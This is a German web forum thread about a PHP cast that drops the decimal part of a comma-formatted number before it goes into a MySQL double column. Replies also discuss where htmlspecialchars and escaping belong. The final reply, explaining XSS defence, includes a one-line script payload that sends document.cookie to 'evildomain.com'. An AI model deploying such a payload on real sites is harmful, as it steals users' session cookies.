• Jetzt anmelden. Es dauert nur 2 Minuten und ist kostenlos!

Problem mit double

freakXHTML

Mitglied
Hallo zusammen,
ich möchte in meine MySQL Datenbank eine Kommazahl eintragen. Ich habe deswegen den Typ double ausgesucht.

Ich lese mit PHP ein Eingabefeld aus, in welches die Kommazahl eingegeben wurde. PHP speichert das jedoch automatisch unter einem String. Deswegen konvertiere ich mit dem Befehl (double). Obwohl der Typ nun double sein soll, werden alle Kommastellen abgeschnitten. Warum?

PHP:
echo $_POST[$abi].'<br />';
      $this->Abiaverage = (double)htmlspecialchars($_POST[$abi]);
      echo $this->Abiaverage;

Ausgabe: 1,1
1 --> Kommastellen fehlen. Warum?


lg, freakXHTML
 
Du brauchst das mit PHP nicht konvertieren. Sowas kann auch MySQL für dich erledigen.
 
Und wie soll das gehen? Wenn ich unter MySQL den Typ double habe und nun die Zahl als String reinschreibe, dann werden auch alle Kommastellen abgeschnitten.

lg, freakXHTML
 
Auch bei der Eingabe in ein Eingabefeld? Das ist komisch. Wäre es schlechter Stil, wenn ich es einfach als String abspeicher? So funktioniert es nämlich auch.

Der Nutzer gibt aber sicherlich ein Komma ein. Wie kann ich denn dann den Punkt durch ein Komma ersetzen?

Vielen Dank
lg, freakXHTML
 
freakXHTML, wie wärs mal wenn du ein wenig selbstständiger arbeiten würdest? Du hast alleine in diesem Monat bereits 30 Threads erstellt - und die Frage nach dem Ersetzen eines einzelnen Zeichens ließe sich mit einer kurzen google-Suche beantworten.
 
PHP:
$this->Abiaverage = (double)htmlspecialchars($_POST[$abi]);
Ist auch nicht sehr sinnvoll. Erst wird hier zu String konvertiert und dann escaped.

PHP:
$this->Abiaverage = htmlspecialchars((double)$_POST[$abi]);
ist sicher sinnvoller, wobei ich htmlspecialchars erst bei der Ausgabe verwendet werden soll. Ist das hier der Fall?
 
Hallo,
danke für die Antwort. Wie meinst das zur Ausgabe? Hier wird eine Variable eingelesen, die dann in einer Datenbank gespeichert wird. Wenn ich so darüber nachdenke: Wahrscheinlich kann ich htmlspecialchars auch weglassen.

@Commodore: Ist das schlimm? Ich will eben was lernen! Keine Sorge, Google ist mein Freund ;)
 
Ich glaube du solltest sie sogar weglassen, da es ist Originaldaten zu stark manipuliert. Wenn du die Daten beim Einfügen mit den MySqli-Funktionen escapest und bei der Ausgabe htmlspecialchars() benutzt, kann nichts passieren.
Du bist so sicher, dass niemand SQL-Injections ausführen kann und Cross-Site-Scripting, indem er z.B. <script>new Image().src = 'http://evildomain.com/?cookie = ' + document.cookie</script> übertragt.
 
Zurück
Oben